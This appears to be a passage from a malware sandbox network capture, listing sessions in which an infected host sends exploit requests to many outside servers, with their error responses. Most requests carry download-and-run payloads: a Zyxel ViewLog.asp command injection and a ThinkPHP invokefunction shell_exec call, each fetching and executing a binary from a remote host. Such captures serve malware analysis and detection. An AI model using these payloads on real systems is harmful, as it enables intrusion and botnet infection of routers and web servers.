Dec 26, 2023 21:26:05.190191031 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	45310	31.44.141.200	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.010710955 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	47386	95.86.126.217	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.252969027 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	42990	31.200.199.207	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.272905111 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	36268	95.100.246.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.557147026 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:45.736938000 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:45.965631962 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:45 GMT Date: Tue, 26 Dec 2023 20:25:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 65 31 61 37 62 35 63 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 35 26 23 34 36 3b 31 62 30 64 62 66 36 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3e1a7b5c.1703622345.1b0dbf6d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.23	33464	95.100.42.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.561691046 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:44.799319983 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:44 GMT Date: Tue, 26 Dec 2023 20:25:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 35 31 64 64 35 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 34 26 23 34 36 3b 39 33 33 39 33 33 37 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.751dd517.1703622344.9339337b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.23	52044	95.129.210.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.576564074 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:44.822325945 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:44 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.23	47274	95.166.125.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.596203089 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:44.860281944 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Tue, 26 Dec 2023 20:25:44 GMT Date: Tue, 26 Dec 2023 20:25:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 37 64 61 36 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 33 34 34 26 23 34 36 3b 32 33 32 31 64 38 32 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.77da65f.1703622344.2321d828</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.23	41060	95.177.167.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:44.628428936 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:44.926090956 CET	503	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 64 6d 69 6e 2e 63 34 63 72 61 6d 7a 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at admin.c4cramz.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.23	43608	94.73.197.111	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:46.928261995 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.23	57868	95.154.203.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.048702955 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:47.278081894 CET	69	IN	Data Raw: 00 00 12 04 00 00 00 00 00 00 03 00 00 00 80 00 04 00 01 00 00 00 05 00 ff ff ff 00 00 04 08 00 00 00 00 00 7f ff 00 00 00 00 08 07 00 00 00 00 00 00 00 00 00 00 00 00 01 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.23	53182	95.216.33.28	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.090542078 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:47.361397028 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 26 Dec 2023 20:25:47 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.23	41778	95.158.148.143	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.099163055 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:47.377758026 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	36986	95.181.230.113	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.103355885 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:47.393069983 CET	500	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:47 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 70 36 35 38 32 32 36 2e 6b 76 6d 76 70 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at p658226.kvmvps Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	56148	95.216.253.104	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.196809053 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:47.466942072 CET	207	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 26 Dec 2023 20:25:47 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	41710	94.120.110.246	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.205152988 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	53924	88.99.101.231	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.339555025 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:47.588879108 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Tue, 26 Dec 2023 20:25:47 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	36660	94.64.223.162	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:47.908109903 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:48.200623035 CET	388	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 22:25:47 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	49340	94.123.86.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:48.188313007 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	59598	94.122.68.19	8080

Timestamp	Bytes transferred	Direction	Data
